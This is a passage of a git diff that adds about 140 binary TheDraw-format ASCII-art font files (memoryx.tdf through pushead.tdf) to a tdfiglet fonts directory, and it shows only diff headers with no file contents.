Binary files /dev/null and b/art/tdfiglet/fonts/memoryx.tdf differ
diff --git a/art/tdfiglet/fonts/menacex.tdf b/art/tdfiglet/fonts/menacex.tdf
new file mode 100644
index 0000000..9d6b25b
Binary files /dev/null and b/art/tdfiglet/fonts/menacex.tdf differ
diff --git a/art/tdfiglet/fonts/mercury.tdf b/art/tdfiglet/fonts/mercury.tdf
new file mode 100644
index 0000000..a606622
Binary files /dev/null and b/art/tdfiglet/fonts/mercury.tdf differ
diff --git a/art/tdfiglet/fonts/mercury2.tdf b/art/tdfiglet/fonts/mercury2.tdf
new file mode 100644
index 0000000..8afcfd6
Binary files /dev/null and b/art/tdfiglet/fonts/mercury2.tdf differ
diff --git a/art/tdfiglet/fonts/mercuryx.tdf b/art/tdfiglet/fonts/mercuryx.tdf
new file mode 100644
index 0000000..cd71455
Binary files /dev/null and b/art/tdfiglet/fonts/mercuryx.tdf differ
diff --git a/art/tdfiglet/fonts/mercuy3x.tdf b/art/tdfiglet/fonts/mercuy3x.tdf
new file mode 100644
index 0000000..26e2d32
Binary files /dev/null and b/art/tdfiglet/fonts/mercuy3x.tdf differ
diff --git a/art/tdfiglet/fonts/merry.tdf b/art/tdfiglet/fonts/merry.tdf
new file mode 100644
index 0000000..a159a36
Binary files /dev/null and b/art/tdfiglet/fonts/merry.tdf differ
diff --git a/art/tdfiglet/fonts/messages.tdf b/art/tdfiglet/fonts/messages.tdf
new file mode 100644
index 0000000..5ed2150
Binary files /dev/null and b/art/tdfiglet/fonts/messages.tdf differ
diff --git a/art/tdfiglet/fonts/metal.tdf b/art/tdfiglet/fonts/metal.tdf
new file mode 100644
index 0000000..eedf8fa
Binary files /dev/null and b/art/tdfiglet/fonts/metal.tdf differ
diff --git a/art/tdfiglet/fonts/metalix.tdf b/art/tdfiglet/fonts/metalix.tdf
new file mode 100644
index 0000000..180dddd
Binary files /dev/null and b/art/tdfiglet/fonts/metalix.tdf differ
diff --git a/art/tdfiglet/fonts/metalix2.tdf b/art/tdfiglet/fonts/metalix2.tdf
new file mode 100644
index 0000000..c91f9a2
Binary files /dev/null and b/art/tdfiglet/fonts/metalix2.tdf differ
diff --git a/art/tdfiglet/fonts/midas.tdf b/art/tdfiglet/fonts/midas.tdf
new file mode 100644
index 0000000..997e1d7
Binary files /dev/null and b/art/tdfiglet/fonts/midas.tdf differ
diff --git a/art/tdfiglet/fonts/midnight.tdf b/art/tdfiglet/fonts/midnight.tdf
new file mode 100644
index 0000000..a23edd9
Binary files /dev/null and b/art/tdfiglet/fonts/midnight.tdf differ
diff --git a/art/tdfiglet/fonts/mindbncx.tdf b/art/tdfiglet/fonts/mindbncx.tdf
new file mode 100644
index 0000000..3709b89
Binary files /dev/null and b/art/tdfiglet/fonts/mindbncx.tdf differ
diff --git a/art/tdfiglet/fonts/mindstax.tdf b/art/tdfiglet/fonts/mindstax.tdf
new file mode 100644
index 0000000..914de4c
Binary files /dev/null and b/art/tdfiglet/fonts/mindstax.tdf differ
diff --git a/art/tdfiglet/fonts/mindsx.tdf b/art/tdfiglet/fonts/mindsx.tdf
new file mode 100644
index 0000000..e20c2bc
Binary files /dev/null and b/art/tdfiglet/fonts/mindsx.tdf differ
diff --git a/art/tdfiglet/fonts/mirrow2.tdf b/art/tdfiglet/fonts/mirrow2.tdf
new file mode 100644
index 0000000..1172432
Binary files /dev/null and b/art/tdfiglet/fonts/mirrow2.tdf differ
diff --git a/art/tdfiglet/fonts/money.tdf b/art/tdfiglet/fonts/money.tdf
new file mode 100644
index 0000000..e725d43
Binary files /dev/null and b/art/tdfiglet/fonts/money.tdf differ
diff --git a/art/tdfiglet/fonts/moon1.tdf b/art/tdfiglet/fonts/moon1.tdf
new file mode 100644
index 0000000..dda196c
Binary files /dev/null and b/art/tdfiglet/fonts/moon1.tdf differ
diff --git a/art/tdfiglet/fonts/moon2.tdf b/art/tdfiglet/fonts/moon2.tdf
new file mode 100644
index 0000000..7db535a
Binary files /dev/null and b/art/tdfiglet/fonts/moon2.tdf differ
diff --git a/art/tdfiglet/fonts/moon3.tdf b/art/tdfiglet/fonts/moon3.tdf
new file mode 100644
index 0000000..5a46180
Binary files /dev/null and b/art/tdfiglet/fonts/moon3.tdf differ
diff --git a/art/tdfiglet/fonts/morldecx.tdf b/art/tdfiglet/fonts/morldecx.tdf
new file mode 100644
index 0000000..60d9d15
Binary files /dev/null and b/art/tdfiglet/fonts/morldecx.tdf differ
diff --git a/art/tdfiglet/fonts/motion.tdf b/art/tdfiglet/fonts/motion.tdf
new file mode 100644
index 0000000..62877d2
Binary files /dev/null and b/art/tdfiglet/fonts/motion.tdf differ
diff --git a/art/tdfiglet/fonts/mr.tdf b/art/tdfiglet/fonts/mr.tdf
new file mode 100644
index 0000000..7939b24
Binary files /dev/null and b/art/tdfiglet/fonts/mr.tdf differ
diff --git a/art/tdfiglet/fonts/myfont.tdf b/art/tdfiglet/fonts/myfont.tdf
new file mode 100644
index 0000000..41cb4c0
Binary files /dev/null and b/art/tdfiglet/fonts/myfont.tdf differ
diff --git a/art/tdfiglet/fonts/mystbye.tdf b/art/tdfiglet/fonts/mystbye.tdf
new file mode 100644
index 0000000..aca2db2
Binary files /dev/null and b/art/tdfiglet/fonts/mystbye.tdf differ
diff --git a/art/tdfiglet/fonts/mysteryx.tdf b/art/tdfiglet/fonts/mysteryx.tdf
new file mode 100644
index 0000000..ac48528
Binary files /dev/null and b/art/tdfiglet/fonts/mysteryx.tdf differ
diff --git a/art/tdfiglet/fonts/mysticx.tdf b/art/tdfiglet/fonts/mysticx.tdf
new file mode 100644
index 0000000..841df13
Binary files /dev/null and b/art/tdfiglet/fonts/mysticx.tdf differ
diff --git a/art/tdfiglet/fonts/mystousx.tdf b/art/tdfiglet/fonts/mystousx.tdf
new file mode 100644
index 0000000..b084609
Binary files /dev/null and b/art/tdfiglet/fonts/mystousx.tdf differ
diff --git a/art/tdfiglet/fonts/nacho.tdf b/art/tdfiglet/fonts/nacho.tdf
new file mode 100644
index 0000000..f520a38
Binary files /dev/null and b/art/tdfiglet/fonts/nacho.tdf differ
diff --git a/art/tdfiglet/fonts/nationx.tdf b/art/tdfiglet/fonts/nationx.tdf
new file mode 100644
index 0000000..09020b4
Binary files /dev/null and b/art/tdfiglet/fonts/nationx.tdf differ
diff --git a/art/tdfiglet/fonts/negative.tdf b/art/tdfiglet/fonts/negative.tdf
new file mode 100644
index 0000000..5f119ab
Binary files /dev/null and b/art/tdfiglet/fonts/negative.tdf differ
diff --git a/art/tdfiglet/fonts/neon.tdf b/art/tdfiglet/fonts/neon.tdf
new file mode 100644
index 0000000..d500632
Binary files /dev/null and b/art/tdfiglet/fonts/neon.tdf differ
diff --git a/art/tdfiglet/fonts/nestred.tdf b/art/tdfiglet/fonts/nestred.tdf
new file mode 100644
index 0000000..d13a927
Binary files /dev/null and b/art/tdfiglet/fonts/nestred.tdf differ
diff --git a/art/tdfiglet/fonts/nestx.tdf b/art/tdfiglet/fonts/nestx.tdf
new file mode 100644
index 0000000..23ef2a9
Binary files /dev/null and b/art/tdfiglet/fonts/nestx.tdf differ
diff --git a/art/tdfiglet/fonts/neurosix.tdf b/art/tdfiglet/fonts/neurosix.tdf
new file mode 100644
index 0000000..5e23a6a
Binary files /dev/null and b/art/tdfiglet/fonts/neurosix.tdf differ
diff --git a/art/tdfiglet/fonts/neurosmx.tdf b/art/tdfiglet/fonts/neurosmx.tdf
new file mode 100644
index 0000000..116d9e9
Binary files /dev/null and b/art/tdfiglet/fonts/neurosmx.tdf differ
diff --git a/art/tdfiglet/fonts/neurrndx.tdf b/art/tdfiglet/fonts/neurrndx.tdf
new file mode 100644
index 0000000..5bf4dfd
Binary files /dev/null and b/art/tdfiglet/fonts/neurrndx.tdf differ
diff --git a/art/tdfiglet/fonts/neutralx.tdf b/art/tdfiglet/fonts/neutralx.tdf
new file mode 100644
index 0000000..5ee1ec9
Binary files /dev/null and b/art/tdfiglet/fonts/neutralx.tdf differ
diff --git a/art/tdfiglet/fonts/newhavnx.tdf b/art/tdfiglet/fonts/newhavnx.tdf
new file mode 100644
index 0000000..c2d94f3
Binary files /dev/null and b/art/tdfiglet/fonts/newhavnx.tdf differ
diff --git a/art/tdfiglet/fonts/newsletx.tdf b/art/tdfiglet/fonts/newsletx.tdf
new file mode 100644
index 0000000..6ab6858
Binary files /dev/null and b/art/tdfiglet/fonts/newsletx.tdf differ
diff --git a/art/tdfiglet/fonts/newsx.tdf b/art/tdfiglet/fonts/newsx.tdf
new file mode 100644
index 0000000..057a641
Binary files /dev/null and b/art/tdfiglet/fonts/newsx.tdf differ
diff --git a/art/tdfiglet/fonts/nexus.tdf b/art/tdfiglet/fonts/nexus.tdf
new file mode 100644
index 0000000..6d750b9
Binary files /dev/null and b/art/tdfiglet/fonts/nexus.tdf differ
diff --git a/art/tdfiglet/fonts/nghtmare.tdf b/art/tdfiglet/fonts/nghtmare.tdf
new file mode 100644
index 0000000..88e8d6d
Binary files /dev/null and b/art/tdfiglet/fonts/nghtmare.tdf differ
diff --git a/art/tdfiglet/fonts/ngthshdx.tdf b/art/tdfiglet/fonts/ngthshdx.tdf
new file mode 100644
index 0000000..44a21f4
Binary files /dev/null and b/art/tdfiglet/fonts/ngthshdx.tdf differ
diff --git a/art/tdfiglet/fonts/nicex.tdf b/art/tdfiglet/fonts/nicex.tdf
new file mode 100644
index 0000000..2ca8df0
Binary files /dev/null and b/art/tdfiglet/fonts/nicex.tdf differ
diff --git a/art/tdfiglet/fonts/nigtmgrx.tdf b/art/tdfiglet/fonts/nigtmgrx.tdf
new file mode 100644
index 0000000..d1036b9
Binary files /dev/null and b/art/tdfiglet/fonts/nigtmgrx.tdf differ
diff --git a/art/tdfiglet/fonts/nirvana.tdf b/art/tdfiglet/fonts/nirvana.tdf
new file mode 100644
index 0000000..8129dc5
Binary files /dev/null and b/art/tdfiglet/fonts/nirvana.tdf differ
diff --git a/art/tdfiglet/fonts/nirvana2.tdf b/art/tdfiglet/fonts/nirvana2.tdf
new file mode 100644
index 0000000..3da8e8b
Binary files /dev/null and b/art/tdfiglet/fonts/nirvana2.tdf differ
diff --git a/art/tdfiglet/fonts/nmswhq.tdf b/art/tdfiglet/fonts/nmswhq.tdf
new file mode 100644
index 0000000..f3dba80
Binary files /dev/null and b/art/tdfiglet/fonts/nmswhq.tdf differ
diff --git a/art/tdfiglet/fonts/nocariex.tdf b/art/tdfiglet/fonts/nocariex.tdf
new file mode 100644
index 0000000..86d124b
Binary files /dev/null and b/art/tdfiglet/fonts/nocariex.tdf differ
diff --git a/art/tdfiglet/fonts/nodelay.tdf b/art/tdfiglet/fonts/nodelay.tdf
new file mode 100644
index 0000000..050c2aa
Binary files /dev/null and b/art/tdfiglet/fonts/nodelay.tdf differ
diff --git a/art/tdfiglet/fonts/nodespyx.tdf b/art/tdfiglet/fonts/nodespyx.tdf
new file mode 100644
index 0000000..ee60c6d
Binary files /dev/null and b/art/tdfiglet/fonts/nodespyx.tdf differ
diff --git a/art/tdfiglet/fonts/nope.tdf b/art/tdfiglet/fonts/nope.tdf
new file mode 100644
index 0000000..218d575
Binary files /dev/null and b/art/tdfiglet/fonts/nope.tdf differ
diff --git a/art/tdfiglet/fonts/nope2.tdf b/art/tdfiglet/fonts/nope2.tdf
new file mode 100644
index 0000000..d5e0852
Binary files /dev/null and b/art/tdfiglet/fonts/nope2.tdf differ
diff --git a/art/tdfiglet/fonts/northerx.tdf b/art/tdfiglet/fonts/northerx.tdf
new file mode 100644
index 0000000..d9f7ac0
Binary files /dev/null and b/art/tdfiglet/fonts/northerx.tdf differ
diff --git a/art/tdfiglet/fonts/novax.tdf b/art/tdfiglet/fonts/novax.tdf
new file mode 100644
index 0000000..8a6a39e
Binary files /dev/null and b/art/tdfiglet/fonts/novax.tdf differ
diff --git a/art/tdfiglet/fonts/nox.tdf b/art/tdfiglet/fonts/nox.tdf
new file mode 100644
index 0000000..1ed3cdf
Binary files /dev/null and b/art/tdfiglet/fonts/nox.tdf differ
diff --git a/art/tdfiglet/fonts/nrthstar.tdf b/art/tdfiglet/fonts/nrthstar.tdf
new file mode 100644
index 0000000..ce47744
Binary files /dev/null and b/art/tdfiglet/fonts/nrthstar.tdf differ
diff --git a/art/tdfiglet/fonts/nsa.tdf b/art/tdfiglet/fonts/nsa.tdf
new file mode 100644
index 0000000..e1e1839
Binary files /dev/null and b/art/tdfiglet/fonts/nsa.tdf differ
diff --git a/art/tdfiglet/fonts/nuclear.tdf b/art/tdfiglet/fonts/nuclear.tdf
new file mode 100644
index 0000000..f2cfe14
Binary files /dev/null and b/art/tdfiglet/fonts/nuclear.tdf differ
diff --git a/art/tdfiglet/fonts/nukex.tdf b/art/tdfiglet/fonts/nukex.tdf
new file mode 100644
index 0000000..abe4e2e
Binary files /dev/null and b/art/tdfiglet/fonts/nukex.tdf differ
diff --git a/art/tdfiglet/fonts/nuklearx.tdf b/art/tdfiglet/fonts/nuklearx.tdf
new file mode 100644
index 0000000..4e5a131
Binary files /dev/null and b/art/tdfiglet/fonts/nuklearx.tdf differ
diff --git a/art/tdfiglet/fonts/nycotine.tdf b/art/tdfiglet/fonts/nycotine.tdf
new file mode 100644
index 0000000..3a2fce3
Binary files /dev/null and b/art/tdfiglet/fonts/nycotine.tdf differ
diff --git a/art/tdfiglet/fonts/nyndee.tdf b/art/tdfiglet/fonts/nyndee.tdf
new file mode 100644
index 0000000..80f6f13
Binary files /dev/null and b/art/tdfiglet/fonts/nyndee.tdf differ
diff --git a/art/tdfiglet/fonts/oblivion.tdf b/art/tdfiglet/fonts/oblivion.tdf
new file mode 100644
index 0000000..b286b6a
Binary files /dev/null and b/art/tdfiglet/fonts/oblivion.tdf differ
diff --git a/art/tdfiglet/fonts/oblivred.tdf b/art/tdfiglet/fonts/oblivred.tdf
new file mode 100644
index 0000000..c6e8528
Binary files /dev/null and b/art/tdfiglet/fonts/oblivred.tdf differ
diff --git a/art/tdfiglet/fonts/obsesss.tdf b/art/tdfiglet/fonts/obsesss.tdf
new file mode 100644
index 0000000..9f9999c
Binary files /dev/null and b/art/tdfiglet/fonts/obsesss.tdf differ
diff --git a/art/tdfiglet/fonts/obvlrdsm.tdf b/art/tdfiglet/fonts/obvlrdsm.tdf
new file mode 100644
index 0000000..1c3ff4d
Binary files /dev/null and b/art/tdfiglet/fonts/obvlrdsm.tdf differ
diff --git a/art/tdfiglet/fonts/oceana.tdf b/art/tdfiglet/fonts/oceana.tdf
new file mode 100644
index 0000000..40c4b56
Binary files /dev/null and b/art/tdfiglet/fonts/oceana.tdf differ
diff --git a/art/tdfiglet/fonts/odb.tdf b/art/tdfiglet/fonts/odb.tdf
new file mode 100644
index 0000000..1143762
Binary files /dev/null and b/art/tdfiglet/fonts/odb.tdf differ
diff --git a/art/tdfiglet/fonts/one.tdf b/art/tdfiglet/fonts/one.tdf
new file mode 100644
index 0000000..30fb6be
Binary files /dev/null and b/art/tdfiglet/fonts/one.tdf differ
diff --git a/art/tdfiglet/fonts/onelinex.tdf b/art/tdfiglet/fonts/onelinex.tdf
new file mode 100644
index 0000000..8e7daa5
Binary files /dev/null and b/art/tdfiglet/fonts/onelinex.tdf differ
diff --git a/art/tdfiglet/fonts/onkelzx.tdf b/art/tdfiglet/fonts/onkelzx.tdf
new file mode 100644
index 0000000..8f5fb03
Binary files /dev/null and b/art/tdfiglet/fonts/onkelzx.tdf differ
diff --git a/art/tdfiglet/fonts/optical.tdf b/art/tdfiglet/fonts/optical.tdf
new file mode 100644
index 0000000..eccf906
Binary files /dev/null and b/art/tdfiglet/fonts/optical.tdf differ
diff --git a/art/tdfiglet/fonts/outfont1.tdf b/art/tdfiglet/fonts/outfont1.tdf
new file mode 100644
index 0000000..7f6264a
Binary files /dev/null and b/art/tdfiglet/fonts/outfont1.tdf differ
diff --git a/art/tdfiglet/fonts/outlinex.tdf b/art/tdfiglet/fonts/outlinex.tdf
new file mode 100644
index 0000000..f69cf6a
Binary files /dev/null and b/art/tdfiglet/fonts/outlinex.tdf differ
diff --git a/art/tdfiglet/fonts/outpost.tdf b/art/tdfiglet/fonts/outpost.tdf
new file mode 100644
index 0000000..ef858af
Binary files /dev/null and b/art/tdfiglet/fonts/outpost.tdf differ
diff --git a/art/tdfiglet/fonts/outpost2.tdf b/art/tdfiglet/fonts/outpost2.tdf
new file mode 100644
index 0000000..26010cc
Binary files /dev/null and b/art/tdfiglet/fonts/outpost2.tdf differ
diff --git a/art/tdfiglet/fonts/overdosx.tdf b/art/tdfiglet/fonts/overdosx.tdf
new file mode 100644
index 0000000..fd9df2f
Binary files /dev/null and b/art/tdfiglet/fonts/overdosx.tdf differ
diff --git a/art/tdfiglet/fonts/pagan.tdf b/art/tdfiglet/fonts/pagan.tdf
new file mode 100644
index 0000000..99b1b81
Binary files /dev/null and b/art/tdfiglet/fonts/pagan.tdf differ
diff --git a/art/tdfiglet/fonts/paganrhx.tdf b/art/tdfiglet/fonts/paganrhx.tdf
new file mode 100644
index 0000000..37664e0
Binary files /dev/null and b/art/tdfiglet/fonts/paganrhx.tdf differ
diff --git a/art/tdfiglet/fonts/paincave.tdf b/art/tdfiglet/fonts/paincave.tdf
new file mode 100644
index 0000000..9a32c43
Binary files /dev/null and b/art/tdfiglet/fonts/paincave.tdf differ
diff --git a/art/tdfiglet/fonts/palace.tdf b/art/tdfiglet/fonts/palace.tdf
new file mode 100644
index 0000000..783ddcb
Binary files /dev/null and b/art/tdfiglet/fonts/palace.tdf differ
diff --git a/art/tdfiglet/fonts/palace2x.tdf b/art/tdfiglet/fonts/palace2x.tdf
new file mode 100644
index 0000000..94f347c
Binary files /dev/null and b/art/tdfiglet/fonts/palace2x.tdf differ
diff --git a/art/tdfiglet/fonts/paladiux.tdf b/art/tdfiglet/fonts/paladiux.tdf
new file mode 100644
index 0000000..f151441
Binary files /dev/null and b/art/tdfiglet/fonts/paladiux.tdf differ
diff --git a/art/tdfiglet/fonts/pandemon.tdf b/art/tdfiglet/fonts/pandemon.tdf
new file mode 100644
index 0000000..5e7ade7
Binary files /dev/null and b/art/tdfiglet/fonts/pandemon.tdf differ
diff --git a/art/tdfiglet/fonts/pangeax.tdf b/art/tdfiglet/fonts/pangeax.tdf
new file mode 100644
index 0000000..8dd9a96
Binary files /dev/null and b/art/tdfiglet/fonts/pangeax.tdf differ
diff --git a/art/tdfiglet/fonts/pantheon.tdf b/art/tdfiglet/fonts/pantheon.tdf
new file mode 100644
index 0000000..647965a
Binary files /dev/null and b/art/tdfiglet/fonts/pantheon.tdf differ
diff --git a/art/tdfiglet/fonts/paradigm.tdf b/art/tdfiglet/fonts/paradigm.tdf
new file mode 100644
index 0000000..d07869c
Binary files /dev/null and b/art/tdfiglet/fonts/paradigm.tdf differ
diff --git a/art/tdfiglet/fonts/paramntx.tdf b/art/tdfiglet/fonts/paramntx.tdf
new file mode 100644
index 0000000..a970555
Binary files /dev/null and b/art/tdfiglet/fonts/paramntx.tdf differ
diff --git a/art/tdfiglet/fonts/paridoxx.tdf b/art/tdfiglet/fonts/paridoxx.tdf
new file mode 100644
index 0000000..d589813
Binary files /dev/null and b/art/tdfiglet/fonts/paridoxx.tdf differ
diff --git a/art/tdfiglet/fonts/partyx.tdf b/art/tdfiglet/fonts/partyx.tdf
new file mode 100644
index 0000000..09bfdab
Binary files /dev/null and b/art/tdfiglet/fonts/partyx.tdf differ
diff --git a/art/tdfiglet/fonts/patex.tdf b/art/tdfiglet/fonts/patex.tdf
new file mode 100644
index 0000000..fd7437f
Binary files /dev/null and b/art/tdfiglet/fonts/patex.tdf differ
diff --git a/art/tdfiglet/fonts/pcboard.tdf b/art/tdfiglet/fonts/pcboard.tdf
new file mode 100644
index 0000000..367f01f
Binary files /dev/null and b/art/tdfiglet/fonts/pcboard.tdf differ
diff --git a/art/tdfiglet/fonts/pentagrx.tdf b/art/tdfiglet/fonts/pentagrx.tdf
new file mode 100644
index 0000000..b643ef7
Binary files /dev/null and b/art/tdfiglet/fonts/pentagrx.tdf differ
diff --git a/art/tdfiglet/fonts/pepper.tdf b/art/tdfiglet/fonts/pepper.tdf
new file mode 100644
index 0000000..efe07c4
Binary files /dev/null and b/art/tdfiglet/fonts/pepper.tdf differ
diff --git a/art/tdfiglet/fonts/persuasx.tdf b/art/tdfiglet/fonts/persuasx.tdf
new file mode 100644
index 0000000..c064fd5
Binary files /dev/null and b/art/tdfiglet/fonts/persuasx.tdf differ
diff --git a/art/tdfiglet/fonts/pex.tdf b/art/tdfiglet/fonts/pex.tdf
new file mode 100644
index 0000000..29dcc63
Binary files /dev/null and b/art/tdfiglet/fonts/pex.tdf differ
diff --git a/art/tdfiglet/fonts/phalanx.tdf b/art/tdfiglet/fonts/phalanx.tdf
new file mode 100644
index 0000000..57a3029
Binary files /dev/null and b/art/tdfiglet/fonts/phalanx.tdf differ
diff --git a/art/tdfiglet/fonts/phalnxx.tdf b/art/tdfiglet/fonts/phalnxx.tdf
new file mode 100644
index 0000000..13109fb
Binary files /dev/null and b/art/tdfiglet/fonts/phalnxx.tdf differ
diff --git a/art/tdfiglet/fonts/pharcydx.tdf b/art/tdfiglet/fonts/pharcydx.tdf
new file mode 100644
index 0000000..f76abb1
Binary files /dev/null and b/art/tdfiglet/fonts/pharcydx.tdf differ
diff --git a/art/tdfiglet/fonts/phiber1x.tdf b/art/tdfiglet/fonts/phiber1x.tdf
new file mode 100644
index 0000000..ec160ae
Binary files /dev/null and b/art/tdfiglet/fonts/phiber1x.tdf differ
diff --git a/art/tdfiglet/fonts/phiber2.tdf b/art/tdfiglet/fonts/phiber2.tdf
new file mode 100644
index 0000000..8d46c62
Binary files /dev/null and b/art/tdfiglet/fonts/phiber2.tdf differ
diff --git a/art/tdfiglet/fonts/phiberx.tdf b/art/tdfiglet/fonts/phiberx.tdf
new file mode 100644
index 0000000..2bcc64a
Binary files /dev/null and b/art/tdfiglet/fonts/phiberx.tdf differ
diff --git a/art/tdfiglet/fonts/phonx.tdf b/art/tdfiglet/fonts/phonx.tdf
new file mode 100644
index 0000000..30fdaf5
Binary files /dev/null and b/art/tdfiglet/fonts/phonx.tdf differ
diff --git a/art/tdfiglet/fonts/phuck.tdf b/art/tdfiglet/fonts/phuck.tdf
new file mode 100644
index 0000000..2f107ee
Binary files /dev/null and b/art/tdfiglet/fonts/phuck.tdf differ
diff --git a/art/tdfiglet/fonts/phudge.tdf b/art/tdfiglet/fonts/phudge.tdf
new file mode 100644
index 0000000..7c3a788
Binary files /dev/null and b/art/tdfiglet/fonts/phudge.tdf differ
diff --git a/art/tdfiglet/fonts/pinaclex.tdf b/art/tdfiglet/fonts/pinaclex.tdf
new file mode 100644
index 0000000..4a17997
Binary files /dev/null and b/art/tdfiglet/fonts/pinaclex.tdf differ
diff --git a/art/tdfiglet/fonts/pipeline.tdf b/art/tdfiglet/fonts/pipeline.tdf
new file mode 100644
index 0000000..daebe16
Binary files /dev/null and b/art/tdfiglet/fonts/pipeline.tdf differ
diff --git a/art/tdfiglet/fonts/pirates.tdf b/art/tdfiglet/fonts/pirates.tdf
new file mode 100644
index 0000000..b9e4582
Binary files /dev/null and b/art/tdfiglet/fonts/pirates.tdf differ
diff --git a/art/tdfiglet/fonts/pitsx.tdf b/art/tdfiglet/fonts/pitsx.tdf
new file mode 100644
index 0000000..adf79ee
Binary files /dev/null and b/art/tdfiglet/fonts/pitsx.tdf differ
diff --git a/art/tdfiglet/fonts/pittyx.tdf b/art/tdfiglet/fonts/pittyx.tdf
new file mode 100644
index 0000000..e28f9b9
Binary files /dev/null and b/art/tdfiglet/fonts/pittyx.tdf differ
diff --git a/art/tdfiglet/fonts/platzang.tdf b/art/tdfiglet/fonts/platzang.tdf
new file mode 100644
index 0000000..ba09289
Binary files /dev/null and b/art/tdfiglet/fonts/platzang.tdf differ
diff --git a/art/tdfiglet/fonts/poisonx.tdf b/art/tdfiglet/fonts/poisonx.tdf
new file mode 100644
index 0000000..72343ba
Binary files /dev/null and b/art/tdfiglet/fonts/poisonx.tdf differ
diff --git a/art/tdfiglet/fonts/policex.tdf b/art/tdfiglet/fonts/policex.tdf
new file mode 100644
index 0000000..d1771a3
Binary files /dev/null and b/art/tdfiglet/fonts/policex.tdf differ
diff --git a/art/tdfiglet/fonts/portal.tdf b/art/tdfiglet/fonts/portal.tdf
new file mode 100644
index 0000000..f7533d7
Binary files /dev/null and b/art/tdfiglet/fonts/portal.tdf differ
diff --git a/art/tdfiglet/fonts/powrgrdx.tdf b/art/tdfiglet/fonts/powrgrdx.tdf
new file mode 100644
index 0000000..edcea5d
Binary files /dev/null and b/art/tdfiglet/fonts/powrgrdx.tdf differ
diff --git a/art/tdfiglet/fonts/prdctnsx.tdf b/art/tdfiglet/fonts/prdctnsx.tdf
new file mode 100644
index 0000000..cee7ccd
Binary files /dev/null and b/art/tdfiglet/fonts/prdctnsx.tdf differ
diff --git a/art/tdfiglet/fonts/presurex.tdf b/art/tdfiglet/fonts/presurex.tdf
new file mode 100644
index 0000000..0c70d79
Binary files /dev/null and b/art/tdfiglet/fonts/presurex.tdf differ
diff --git a/art/tdfiglet/fonts/primelin.tdf b/art/tdfiglet/fonts/primelin.tdf
new file mode 100644
index 0000000..df980da
Binary files /dev/null and b/art/tdfiglet/fonts/primelin.tdf differ
diff --git a/art/tdfiglet/fonts/primelix.tdf b/art/tdfiglet/fonts/primelix.tdf
new file mode 100644
index 0000000..9601564
Binary files /dev/null and b/art/tdfiglet/fonts/primelix.tdf differ
diff --git a/art/tdfiglet/fonts/prisoner.tdf b/art/tdfiglet/fonts/prisoner.tdf
new file mode 100644
index 0000000..5de307d
Binary files /dev/null and b/art/tdfiglet/fonts/prisoner.tdf differ
diff --git a/art/tdfiglet/fonts/prjet13x.tdf b/art/tdfiglet/fonts/prjet13x.tdf
new file mode 100644
index 0000000..49079e4
Binary files /dev/null and b/art/tdfiglet/fonts/prjet13x.tdf differ
diff --git a/art/tdfiglet/fonts/proctor.tdf b/art/tdfiglet/fonts/proctor.tdf
new file mode 100644
index 0000000..6be960a
Binary files /dev/null and b/art/tdfiglet/fonts/proctor.tdf differ
diff --git a/art/tdfiglet/fonts/prophecy.tdf b/art/tdfiglet/fonts/prophecy.tdf
new file mode 100644
index 0000000..de78691
Binary files /dev/null and b/art/tdfiglet/fonts/prophecy.tdf differ
diff --git a/art/tdfiglet/fonts/props.tdf b/art/tdfiglet/fonts/props.tdf
new file mode 100644
index 0000000..6339008
Binary files /dev/null and b/art/tdfiglet/fonts/props.tdf differ
diff --git a/art/tdfiglet/fonts/prototyp.tdf b/art/tdfiglet/fonts/prototyp.tdf
new file mode 100644
index 0000000..f449c54
Binary files /dev/null and b/art/tdfiglet/fonts/prototyp.tdf differ
diff --git a/art/tdfiglet/fonts/prpugrdx.tdf b/art/tdfiglet/fonts/prpugrdx.tdf
new file mode 100644
index 0000000..2c10c14
Binary files /dev/null and b/art/tdfiglet/fonts/prpugrdx.tdf differ
diff --git a/art/tdfiglet/fonts/psych3dx.tdf b/art/tdfiglet/fonts/psych3dx.tdf
new file mode 100644
index 0000000..137bbe6
Binary files /dev/null and b/art/tdfiglet/fonts/psych3dx.tdf differ
diff --git a/art/tdfiglet/fonts/psycho2.tdf b/art/tdfiglet/fonts/psycho2.tdf
new file mode 100644
index 0000000..82b1601
Binary files /dev/null and b/art/tdfiglet/fonts/psycho2.tdf differ
diff --git a/art/tdfiglet/fonts/psycho3x.tdf b/art/tdfiglet/fonts/psycho3x.tdf
new file mode 100644
index 0000000..ac6b7cd
Binary files /dev/null and b/art/tdfiglet/fonts/psycho3x.tdf differ
diff --git a/art/tdfiglet/fonts/psychos2.tdf b/art/tdfiglet/fonts/psychos2.tdf
new file mode 100644
index 0000000..6b9baea
Binary files /dev/null and b/art/tdfiglet/fonts/psychos2.tdf differ
diff --git a/art/tdfiglet/fonts/psychosm.tdf b/art/tdfiglet/fonts/psychosm.tdf
new file mode 100644
index 0000000..86f444b
Binary files /dev/null and b/art/tdfiglet/fonts/psychosm.tdf differ
diff --git a/art/tdfiglet/fonts/psychsyx.tdf b/art/tdfiglet/fonts/psychsyx.tdf
new file mode 100644
index 0000000..0dcdd81
Binary files /dev/null and b/art/tdfiglet/fonts/psychsyx.tdf differ
diff --git a/art/tdfiglet/fonts/psycosix.tdf b/art/tdfiglet/fonts/psycosix.tdf
new file mode 100644
index 0000000..da6092e
Binary files /dev/null and b/art/tdfiglet/fonts/psycosix.tdf differ
diff --git a/art/tdfiglet/fonts/psyneuro.tdf b/art/tdfiglet/fonts/psyneuro.tdf
new file mode 100644
index 0000000..fba6858
Binary files /dev/null and b/art/tdfiglet/fonts/psyneuro.tdf differ
diff --git a/art/tdfiglet/fonts/pulsex.tdf b/art/tdfiglet/fonts/pulsex.tdf
new file mode 100644
index 0000000..b75d343
Binary files /dev/null and b/art/tdfiglet/fonts/pulsex.tdf differ
diff --git a/art/tdfiglet/fonts/puncx.tdf b/art/tdfiglet/fonts/puncx.tdf
new file mode 100644
index 0000000..19c08ca
Binary files /dev/null and b/art/tdfiglet/fonts/puncx.tdf differ
diff --git a/art/tdfiglet/fonts/punishtx.tdf b/art/tdfiglet/fonts/punishtx.tdf
new file mode 100644
index 0000000..c595eca
Binary files /dev/null and b/art/tdfiglet/fonts/punishtx.tdf differ
diff --git a/art/tdfiglet/fonts/puremadx.tdf b/art/tdfiglet/fonts/puremadx.tdf
new file mode 100644
index 0000000..6000296
Binary files /dev/null and b/art/tdfiglet/fonts/puremadx.tdf differ
diff --git a/art/tdfiglet/fonts/pushead.tdf b/art/tdfiglet/fonts/pushead.tdf
new file mode 100644
index 0000000..16fa11f
Binary files /dev/null and b/art/tdfiglet/fonts/pushead.tdf differ
